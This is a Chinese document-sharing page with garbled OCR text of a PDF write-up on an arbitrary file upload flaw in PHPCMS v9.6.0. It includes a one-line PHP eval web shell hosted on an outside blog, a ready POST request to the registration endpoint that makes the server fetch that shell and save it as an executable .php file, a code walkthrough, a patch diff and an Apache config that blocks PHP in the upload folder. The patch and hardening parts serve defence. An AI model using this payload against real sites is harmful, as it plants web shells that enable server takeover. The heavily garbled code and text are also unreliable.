最新phpV9,懂的老司机进入

所需积分/C币:50 2017-04-11 08:59:52 708KB PDF
收藏 收藏 4
举报

安全
20174/10 PHPCMS960任意文件上传漏(2017/0409) 1.<!- update2016/12/2618:03:21r:utf-8s:utf 2.<!- hit cache2016/12/2618:0:13 Unicode(UTF-8)-> 再回想一下 phithon牛说的撞洞的事. 最怕空气突然安静 传说是提在某知平台上的,某知平台上关于该CMS审核通过的漏洞是2016-12-02,最后一次高危漏 洞日期是2016-09-19 看不到详情,只能随便猜了,猜测这个洞最早在2016-09-19就提交了。白看了一次源代码,作为 安全研究员,没关注业内最新动向,很僵。 熊孩子不高兴,所以准备报复社会了。估计很多人手里早都有了这个洞了,就当是自己练习 写分析了。 感谢小蝈蝈 Zvonimir一同完成的漏洞分析与发现。 效果图 http:/mp.weixin.qq.com/s/-7wazxwzrqaa680hxqyFtq 3/10 20174/10 PHPCMS960任意文件上传漏(2017/0409) 看到爆错的sq语句,那个sq注入漏洞估计跟这个是同一个洞吧,不细表,后面再说 漏洞验证 1首先在远程HTTP服务器上准备一个文件,可以用我提供的: http://blog.evalbug.com/uploads/ant.txt 内容为一句话 1. <?php @eval(S POST[ ant'1): ? 2向目标发送如下POST请求 http://v9.demophpcmscn/index.phpm=member&c=index&a-register&siteid=1 3.P0ST内容: 5.siteid=1&modelid=ll&username-ange18&password=123456&emai1=xxxx80qq.com&info%5bcontent%5d=%3cimG20src=httpl 注意: username和emai1不要和之前有重复,如果有重复shel也可以正常下载到目 标,但是不会爆出路径,需要写脚本爆shel‖ 漏洞分析 漏洞点在/ phpcms/1ibs/c1 asses/ attachment. Class.php文件的第166行至172 行, download函数中。 http:/mp.weixin.qq.com/s/-7wazxwzrqaa680hxqyFtq 4/10 20174/10 PHPCMS96.0任意文件上传漏(20170409) 贴出函数,结合注释,大概看一下,后面会慢慢分析: X1+:/phpcms/libs/classes/attachment. class. php 1. class at tachment var Scontentid var Smodule Scatid var Attachments var Field var Simagcexts- array( gif,' jpg,' jp ar Suploadedfiles= array( var Sdownl oadedfi les= array o var Serror var Upload root Siteia 134561890 var site= array (), function construct(Smodule=, Scatid=0, ssiteid=0, Upload dir =') Sthis->catid- intval(Scatid Sthis>siteid= intval(Ssiteid)=0?1: intval(Ssiteid lle= Smodule o Smodule :content pc base:: load sys func('dir') pe base: load sys class( imag 0) 21 Sthis->upload root- pc base: load config( system', upload path) Sthis->upload func- copy 23 Sthis->upload dir- Upload dir 222 此处省終其它代码 27 28./ 附件下载 30 *k Enter description here 31 @ param$ field预留字段 32 米@ param$ value传入下载内容 *@ param$ watermark是否加入水印 34。 @ param$ext下载扩展名 @ param$ absurl绝对路径 36 (param Sbasehref 3 38 function download(Sfield, Svalue, Watermark='0', Sext=gif jpg jpeg bmp png,absurl Basell lobal S 41 this-att db= pc base: load model( attachment model') 42 Upload url= pc base: load config( system',upload url 43 $this→> ficld- Sfield 44 Sdir= date(y/md/) 45 Suploadpath= Sup load url. Sdi 46 Sthis- upload root. Sdi 47 Sstring= new lashes(Svalue) if(!preg match all(/(href src)-(L\"?)(L\>]+(Sext))\\2/i", Sstring, $matches))return 49 fleurs 58 foreach(Matches [3 as Smat che) 51 53 dir create(suploaddir Sremotefileurls[ Matched= Sthis-) filure(8 matche,$ absur1,$ basehref)://这里对匹配后的 55 unset(Matches, Sstring 57 Sremotefileurls= array unique (Sremotefileurls 58 Soldpath= Snewpath= array( foreach(Sremotefileurls as sk=>sfile f(strpos $file,’:/ falsc strpos(Sfilc, upload ur1)!-- falsc) continuc 61。 $ filename= fileext( Sfile);//这里是澡洞点 62 Sfile name= basename(stile) 63 Sfilename=this >getname(Sfilename 64 65 Snewfile- Suploaddir. filename $ upload func=$this-> up load func;//看构造函数 67 f( Upload func($file,$ newfile){/使用copy函数远程下载 68 Soldpath= Sk 69 gLOBALS downloadfilcs Snewpath1-uploadpath Sfilename @chmod(Snewfile, 0777 绘777权限, Shell妥妥的能扶行 71 St'ileext= fileext(sfi lename) if (Watermark) 73 watermark(Snevfile, Snewfile, Sthis->siteid Sfilepath-Sdir Sfilename 76 Sdownloadedfile= array(' filename'=)Sfilename,'filepath'=)Sfilepath, 'filesize's>f said= sthis->add(Sdownloadedfile sthis->downloadcdfiles Said- sfilcpath http:/mp.weixin.qq.com/s/-7wazxwzrqaa680hxqyFtq 5/10 20174/10 PHPCMS960任意文件上传漏(2017/0409) 80 81。 return str replace(Soldpath, Snewpath, Svalue 82 大概说一下这个函数的流程 经过全局处理后,传入的值 value为:&1t;img src=http://blog.evalbug.com/uploads/ant.txt?.php#.jpg&gt 1. sstring= new stripslashes(Svalue 然后使用 new stripslashes删除反斜杠,此时vaue值还是传入的值 1. if(!preg match all("/(href src)=([\'?)([\'>]+\(Sext))\\2/i, Sstring, Matches)) return $value 这里对传入的ur使用正则匹配,检查其后缀合法性。 此处正则不难懂,匹配href或者src的值,后缀检查这里只要url的最后是 以.jpg、.gif就可以继续执行下去了 经过匹配后的$ matches的结构如下: array(5)( 1234567899 array(1) string(53)src=http://blog.evalbug.com/uploads/ant.txt?.phptjpg array(1 [0]=> string(3)src 11 [2]= 1145 array(1)I [0]=> string(o) 16 18 array(1) 19 string(49)http://blog.evalbug.com/uploads/ant.txt?.php#.jpg 22 [4]= 23 array(1) 24 [0] string(3)jpg 26 27 然后看 foreach: 1. foreach(Matches[3 as Smatche) 2 if(strpos(smatche,: //)==false) continue 4 dir create($ uploaddir);//创建上传目录 remotefileurls[ Smatche]=$this-)i1lur1($ matche,$ absurl,$ basehre);//这旦对匹配后的网址进行∫补 http:/mp.weixin.qq.com/s/-7wazxwzrqaa680hxqyFtq 6/10 20174/10 PHPCMS960任意文件上传漏洒(20170409) fi11ur1这个函数具体代码就不贴了,在这个文件里面可以看到,我们知道#在ur里面是一 般是锚点,不会传给服务端,也可以理解成注释,经过这个函数处理后,我们传入的URL会被去 除掉#号,变成了这个样子: 1.http://blog.evalbug,com/uploads/ant.txt?.php 此时的$ remotefileurls中结构是这个样子(其它的省略) 1. array(1)( T'http://blog.evalbug.com/uploads/ant.txt?.php#.jpg'j=) 3 tring(44)http://blog.evalbug.com/uploads/ant.txt?.php 继续看 foreach 1. foreach( remote fileurls as sk->sfi1e){//自行对应上文$ remotefileurls的key和 value,$file是处理后的ur1 if(strpos($file,': / false strpos(Sfile, upload url) false continue 2345678 Sfile L e name fileext$file);//取处理后的ur1的文件后缀,这时取到的后缀是.php Sfile basename(Sfile sfile Sthis->getname(8 Sfilename)://根据后缀名,结合时间戳生成的文件名,取完新后缀之后未验证合 $ newfile=$ up loader.$ filename;//修正生成文件的路径 upload func=界this> upload func;// upload func值看构造函数,值为copy if( Upload func(sfie,$ newfile)){//使用copy函数拷贝远程文件,并命名为上血生成的那个php文件名 10 Soldpath 11 SGLOBALSI' downloadfiles SnewpathL= uploadpath Sfilename 12 chmod($ newfile,0777);//给新文件读写执行权限 Sfileext fileext(Sfilename) 14 f(Watermark)i watermark(Snewfile, Snewfile, sthis->siteid) 16 Sfilepath= dir. filename 18 S downloadedfile= array( filename'=)Sfilename,'filepath'=)Sfilepath, ' filesize'=filesize(Snew 19 Said- Sthis->add(S downloadedfile Sthis->downloadedfiles [said= Sfilepath 21 22 总结一下,先对传入的ur使用 preg match a11进行后缀检查,然后用flu去掉#后面的 内容,再用 fileext取新后缀,取到新后缀后未检验,就直接用copy下载文件并重命名。 所以只要找一个使用了 attachment,并且调用 download函数的地方就行了 我们找到 caches/ caches model/ caches data/目录,找了几个文件后缀 是 input. class.php的文件,都有 editor函数,所以这些模块都是可以利用的。 以 caches/ caches mode1/ caches data/ member input.c1ass.php为例 1. function editor(sfield, Svalue) $ setting- string2 array($this-) fieldslSfield」 L' setting’」) senablesaveimage= $[' enablesaveimage Ssite setting= string2array(Sthis->site config[' setting) Svalue= sthis->attachment->download ( conten/ ormark enablc'D: Watermark enablc- intval(Ssite sctting'wat Svalue, Watermark enable return Svalue http:/mp.weixin.qq.com/s/-7wazxwzrqaa680hxqyFtq 7/10 20174/10 PHPCMS960任意文件上传漏洒(20170409) 可以看到未对 value进行过滤,继续找调用 editor的地方,找了半天没找到,最后发现这家 伙居然是动态调用的,调用的地方在同文件的get函数里 1. function get(Sdata)[ Sthis->data- Sdata- trim script(Sdata Smodel cache= getcache( member model commons Sthis->db->table name= Sthis->db pre Smodel cache Sthis->modelidI' tablename' Sinfo=array o 7 $ debar filed= array(' catid',' title',’ sty le',' thumb’,’ status’,’ islink',"’ description if (is array (s data))I foreach(Sdata as Sfield=>value) 10 f( S data[ islink]=1&! lI array($ field, Debar filed)) continue;//如果传入的字段在黑 11 Sfield- safe replace(Sfield 12 Sname= Sthis->fields[Sfield' name'1 3 Sminlength= Sthis->fields [Sfield[' minlength 14 Smaxlcngth- Sthis->ficlds Sficldl' maxlength Pattern= Sthis->fields [Sfield][ pattern'J Serrortips= Sthis->fields [Sfield][ errortips 17 if( empty( Serrortips)$ errortips="$name不符合要求! 18 Length empty(Svalue)?0: strlen(Svalue 19 if( Midlength&8 ength< Sminlength&是! Sisimport) showmen sage("name,不得少于, Suileng 20 f(! array key exists( Sfield,$this- fields) showmessage(模型中不存在.$ field.字段); 21 f(Smaxlength & length Smaxlength && Sisim 22 23 lc/ ls Showmessage("$name不得超过$ maxlength个字符!"); 25 26 if(pattern & Length & !preg match(Pattern, Svalue)&&! Sisimport)showmes sage (Serror f(Sthis fields[Sfield][ isunique']&& Sthis->db>get one (array(field=)value), field) 28 fuc=8this-> fields[ Sfield] formtype];//如果找到 formtype为 editor的字段 29 f( method exists($this,$func)$ value-$this-> S func( Sfield, Svalue);/′然后这里就能调 31 Sinfo l Sfield= svalue 33 34 return info 先对$data先做了trim去除两头空白字符的处理。 1. if(Sdata[' islink]==1 & in array(sfield, Debar filed))continue 然后如果传入的字段在黑名单里面,则不能继续执行,所以我们需要 在 caches/ caches model/ caches data/ model fie1d_1. cache. php文件里面找到合适的 fied名 然后使用 safe replace来处理: function safe replace(sstring Sstring= str replace(920,',Sstring 23456789 Sstring str replace( Sstring) Sstring- str_replace(>> 3,,gstring sstring= str replace(k',', sstring Sstring= str repl &quot ' Sstring Sstring- str replace string sstring= str replace ('','' sstring) Estrin str replace(i ',' i strin 1:8 Sstring= str replace(<,'&lt: Sstring) string str replace('y,&gt: $string string- str replace Sstring) 13 Sstring= str replace(),, Sstring) 14 Sstring= str replace( Sstring return string 16 不影响,继续分析,我们看调用 editor函数的这里 http:/mp.weixin.qq.com/s/-7wazxwzrqaa680hxqyFtq 810 20174/10 PHPCMS960任意文件上传漏(2017/0409) 1.$furc-$this- fields L$ field」 termtype’」 2. if(method exists(Sthis, Sfunc)Svalue= Sthis->$func(Sfield, Svalue) 所以我们要找的fed的 formtype值必须是 editor,满足条件的刚好是 content字段 因为这个文件是 cache文件,根据其命名规范,找其对应的 module文件就好了,对应的目录 为:/ phpcms/ modules/ member/,我们重点关注哪个文件中的方法中用了$ member input >get方法,并且这个方法可以在前台调用 最终发现/ phpcms/modu1es/ member/ index. php中的 register方法使用了这个函数133行 1. if(Smember sctting'chooscmodc1'1) 2 require once CACHE MODEL PATH. member input class. php': require once CACHE MODEL PATH. member update class. phi 4. Smember input= new member input(Userinfo[' modelid'I s POSTL info array map( new html special chars', S POSTL info']); Suser model info-Smenber input->get( POSTL info 将客户端发过来的$_PosT[info']使用htm1 special char来实体转义后,就直接传给 了$ member input->get,结合我们上面的一系列分析,只要$PosT['info']中 的content字段的值有src=http://blog.evalbug.com/uploads/ant.txt?.phptjpg这 个字符串或者把src替换成href就能触发了。 所以就形成了最终要发送的 Payload 1.http://v9.demophpcmscn/index.php?m=member&c=index&a-register&siteid=l 3.POST内容 4.siteid=1&nodelid=11&username-ange18&password=123456&email=xxxx8@qq.com&info%5bcontent%5d=%03cimG%20src=httpl 不加<img>标签一样会触发 漏洞修复 在/ phpcms/1ibs/c1 asses/ attachment, Class,php的166行后加上一行代码检查 1. if( preg match(/(Sext)/i, filename)) continue 最后附上gjt生成的df文件 1. diff --git a/phpcms/libs/ classes/attachment. class. php b/phpcms/libs/classes/attachment. class. php 2. index5f095b9..ea9574100644 a/phpcms/libs/classes/attachment. class. php 4.++-b/ phpcms/libs/classes/attachment. class. php 5. @@, 6+164, 7 a@ class attachment I forcachSremotcfilcurls as Sk>sfile if(strpos(Sfile false strpos(Sfile, upload ur1)!==fal St'ilename= fi leext(Sfile f( preg match(/(Sext)/i, Sfilename)) continue Sfile name= basename(Sfile) http:/mp.weixin.qq.com/s/-7wazxwzrqaa680hxqyFtq 9/10 20174/10 PHPCMS960任意文件上传漏洒(20170409) Sfilename =$this->getname(Sfilename) 114561 @0-405,4+406,4g@cl return string2array(SsiteinfolSsiteid[ setting 1) 8. No new line at end of fil 19.+?> 防护方案 总等官方补丁也不是个事,还不如把容器权限好好配置一下 设置网站目录下的/ uploadfile目录及子目录不解析php文件。推荐 phpcms官方演示站也 这么配置,即便上传了She也不会执行。 我的网站路径是/var/w/htm1/ uploadfile,根据你的真实情况自行调整以 apache v2.4为 例,在 apache2.conf中添加如下配置: 1. <Directory/var/www/html/uploadfile> 2.#禁止解析php文件 php admin flag engine off #禁止用户下载php文件 <filesmatch "+\. ph (p[:45]?t tmI)s Order deny, al low Deny from all K/filesmatch> 9. </Directory> ngInx等其它Web容器配置请自行百度,配置完记得重启。 效果图: 写在最后 很僵硬 http:/mp.weixin.qq.com/s/-7wazxwzrqaa680hxqyFtq 10/10

...展开详情
试读 10P 最新phpV9,懂的老司机进入
立即下载 低至0.43元/次 身份认证VIP会员低至7折
    抢沙发
    一个资源只可评论一次,评论内容不能少于5个字
    关注 私信 TA的资源
    上传资源赚积分,得勋章
    最新推荐
    最新phpV9,懂的老司机进入 50积分/C币 立即下载
    1/10
    最新phpV9,懂的老司机进入第1页
    最新phpV9,懂的老司机进入第2页
    最新phpV9,懂的老司机进入第3页

    试读已结束,剩余7页未读...

    50积分/C币 立即下载 >